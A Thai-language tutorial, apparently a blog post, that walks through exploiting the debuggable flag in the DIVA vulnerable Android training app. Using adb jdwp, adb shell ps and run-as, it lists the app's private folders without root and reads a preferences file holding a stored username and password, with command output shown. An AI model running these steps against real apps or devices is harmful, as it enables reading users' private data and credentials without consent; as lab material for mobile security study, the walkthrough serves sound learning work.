How to exploit the debuggable application (DIVA)

บทนำ (Overview)

บทความนี้กล่าวถึงโปรแกรมที่มีการเปิดใช้งาน “Debuggable” ทิ้งเอาไว้ (True) ซึ่งส่งผลให้ผู้ไม่ประสงค์ดีสามารถเข้าถึงข้อมูลของ “Application” ได้ หรือสามารถ “Run code” ต่าง ๆ ภายใต้สิทธิของ “Application” ที่ได้รับ โดยเครื่องไม่จำเป็นต้อง “Root” ก็ได้

ในบทความนี้ใช้วิธีการเข้าถึง “Folder” โดยวิธีการ “Run-as” ซึ่งอาจไม่สามารถทำงานได้บนบาง “Android 4.1-4.3” เพราะได้มีการแก้ “Bug” โดยการป้องกันการใช้งาน “Run-as” เพื่อเข้าถึง “devices” หรือมีข้อความ “Error” แสดงว่า ‘com<package name>’ is unknown.”

ขั้นตอน (Steps)

  1. การที่เราจะทราบได้ว่า โปรแกรมนั้น ๆ เปิด “Debug” หรือไม่ เราจะต้องทำการ “Reverse Engineering” เพื่อตรวจสอบที่ไฟล์ของ “AndroidMenifest” เสียก่อน สามารถติดตามได้ที่บทความ
  2. จากบทความนี้เราใช้โปรแกรมช่องโหว่ “DIVA” สามารถตรวจพบได้ว่า “debuggable” เท่ากับ “true”
      <application theme="@2131296387" label="@2131099683" icon="@2130903040" debuggable="true" allowBackup="true" supportsRtl="true">
    
  3. ที่นี้เราจะเชื่อมต่อไปยัง เครื่อง “Android” เพื่อตรวจสอบ “Process” ที่กำลัง “Run” อยู่ โดยใช้คำสั่ง
    adb jdwp
    
  4. ผลลัพธ์ของคำสั่งจะแสดง PID (Process Identifiers) ของ “Application” ที่สามารถจะ “Debug” ได้ diva-debug-01
  5. ที่นี้ให้ลองเปิด โปรแกรม “DIVA” และตรวจสอบอีกครั้ง diva-debug-02
  6. สังเกตว่าจะมี “PID” เพิ่มขึ้นมาใหม่ คือ 12795, 12946 และ 12960 ทดลองใช้คำสั่งข้างโดยไล่ทีละ “PID” ที่พบ “package name” ชื่อ diva ดังรูป
    C:\Users\wsunpachit\Desktop
    λ adb shell ps | grep "12795"
    u0_a43    12795 147   907936 38216 ffffffff b74faa27 S jakhar.aseem.diva
    
  7. เราสามารถเข้าถึง “Folder” ดังกล่าวโดยไม่จำเป็นต้อง “Root” เครื่องโดยใช้คำสั่งดังนี้
    C:\Users\wsunpachit\Desktop
    λ adb shell run-as jakhar.aseem.diva ls -l
    drwxrwx--x u0_a43   u0_a43            2016-07-19 12:09 cache
    drwxrwx--x u0_a43   u0_a43            2016-09-16 23:14 databases
    lrwxrwxrwx install  install           2016-09-17 15:32 lib -> /data/app-lib/jakhar.aseem.diva-1
    drwxrwx--x u0_a43   u0_a43            2016-09-06 11:39 shared_prefs
    -rw------- u0_a43   u0_a43         25 2016-09-07 15:06 uinfo-515707363tmp
    
  8. ทดสอบดึงข้อมูลสำคัญ
    C:\Users\wsunpachit\Desktop
    λ adb shell run-as jakhar.aseem.diva cat /data/data/jakhar.aseem.diva/shared_prefs/jakhar.aseem.diva_preferences.xml
    <?xml version='1.0' encoding='utf-8' standalone='yes' ?>
    
    <map>
    <string name="user">administrator</string>
    <string name="password">p@ssw0rd</string>
    </map>
    
    
  9. แต่ถ้าเปิด “Folder” อื่น ๆ จะไม่มีสิทธิดังนี้
    C:\Users\wsunpachit\Desktop
    λ adb shell run-as jakhar.aseem.diva cat /data/data/org.owasp.goatdroid.fourgoats/shared_prefs # cat destination_info.xml
    /data/data/org.owasp.goatdroid.fourgoats/shared_prefs: Permission denied
    
  10. ทดลองเข้าถึง “Folder” อื่น ๆ ดูบ้างเช่น “Database” โดยใช้คำสั่ง “ls -l” บ้าง
    C:\Users\wsunpachit\Desktop
    λ adb shell run-as jakhar.aseem.diva ls -l databases
    drwxrwxr-x root     root              2016-09-06 15:18 c:
    -rw-rw---- u0_a43   u0_a43      20480 2016-07-19 11:03 divanotes.db
    -rw------- u0_a43   u0_a43       8720 2016-07-19 11:03 divanotes.db-journal
    -rw-r--r-- root     root        16384 2016-09-06 15:31 ids2
    -rw------- root     root         8720 2016-09-06 12:58 ids2-journal
    -rw-rw---- u0_a43   u0_a43      16384 2016-09-16 15:28 sqli
    -rw------- u0_a43   u0_a43      12824 2016-09-16 15:28 sqli-journal
    -rw-rw---- u0_a43   u0_a43      40960 2016-07-19 12:08 webview.db
    -rw------- u0_a43   u0_a43       8720 2016-07-19 12:08 webview.db-journal
    
    -rw-rw---- u0_a43   u0_a43       7168 2016-09-16 23:14 webviewCookiesChromium.db
    -rw-rw---- u0_a43   u0_a43          0 2016-07-19 12:13 webviewCookiesChromiumPrivate.db
    

ใส่ความเห็น